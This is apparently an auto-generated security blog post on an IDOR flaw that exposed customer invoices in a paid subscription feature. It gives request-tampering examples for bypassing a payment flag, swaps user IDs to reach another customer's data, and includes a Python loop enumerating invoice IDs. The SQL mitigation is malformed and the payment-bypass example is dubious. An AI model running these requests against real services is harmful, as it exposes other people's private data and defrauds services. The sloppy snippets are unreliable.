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During a recent security assessment on a private bug bounty program, an IDOR (Insecure Direct Object Reference) vulnerability was discovered, exposing all customer invoices on the platform. This posed a serious privacy and data protection risk.
The critical aspect? The vulnerability was only accessible after purchasing a subscription. Without unlocking the paid feature, the flaw would have remained undetected during standard testing.
You Should Know:
1. Testing Paid Features in Web Applications
Paid or restricted areas often have weaker security controls due to less frequent testing. Here’s how to assess them:
- Bypassing Payment Checks: Use proxy tools like Burp Suite or OWASP ZAP to intercept and modify requests.
POST /upgrade_subscription HTTP/1.1 Host: vulnerable.com {"user_id":123,"payment_status":"paid"} → Change to "payment_status":"bypassed" -
Forced Browsing: Manually access restricted endpoints:
curl -X GET https://vulnerable.com/api/invoices/123 -H "Authorization: Bearer [bash]"
2. Detecting IDOR Vulnerabilities
- Manual Testing:
- Change `user_id` or `invoice_id` in requests:
GET /api/invoice?user_id=ATTACKER_ID → Change to user_id=VICTIM_ID
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Test with unprivileged accounts accessing paid endpoints.
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Automated Scanning: Use tools like Burp Scanner or Astra Pentest to detect IDOR flaws.
3. Exploiting IDOR to Access Sensitive Data
Example exploiting an invoice leak:
import requests
for invoice_id in range(1000, 1005):
response = requests.get(f"https://vulnerable.com/invoices/{invoice_id}")
if response.status_code == 200:
print(f"Exposed Invoice {invoice_id}: {response.text[:100]}...")
4. Mitigation Techniques
- Implement Proper Access Controls:
-- Ensure DB queries check permissions: SELECT FROM invoices WHERE user_id = ? AND subscription_status = 'paid';
- Use UUIDs Instead of Incremental IDs:
import uuid invoice_id = uuid.uuid4() Harder to guess than sequential IDs
What Undercode Say
Paid features are often overlooked in security assessments, making them prime targets for attackers. Always test:
– Subscription Bypasses (e.g., fake “paid” flags).
– Privilege Escalation (e.g., accessing `admin.php` as a regular user).
– Hidden API Endpoints (e.g., /api/v1/paid/users).
Expected Output:
A comprehensive report detailing:
1. Vulnerability: IDOR in paid invoice feature.
2. Impact: Unauthorized access to all customer invoices.
3. Steps to Reproduce:
- Purchase a subscription.
- Manipulate `invoice_id` in requests.
4. Fix: Server-side access control checks.
Prediction
As more apps adopt paywalls, IDOR vulnerabilities in premium features will surge—bug bounty hunters should prioritize testing gated functionalities.
URLs for further reading:
References:
Reported By: Simonepaganessi Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
